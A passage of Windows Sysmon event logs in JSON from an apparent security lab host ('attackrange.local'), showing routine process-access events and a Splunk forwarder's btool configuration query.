ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010E0040500}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-0010E0040500}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.312\r\nProcessGuid: {90617006-407A-5F2D-0000-00109C050500}\r\nProcessId: 4964\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list httpServer --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407A-5F2D-0000-0010E0040500}\r\nParentProcessId: 4948\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list httpServer --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.312","ProcessGuid":"{90617006-407A-5F2D-0000-00109C050500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list httpServer --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407A-5F2D-0000-0010E0040500}","ParentProcessId":"4948","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list httpServer --no-log","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-0010E0040500}\r\nSourceProcessId: 4948\r\nSourceThreadId: 4936\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00109C050500}\r\nTargetProcessId: 4964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-407A-5F2D-0000-0010E0040500}","SourceProcessId":"4948","SourceThreadId":"4936","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00109C050500}","TargetProcessId":"4964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00109C050500}\r\nTargetProcessId: 4964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00109C050500}","TargetProcessId":"4964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac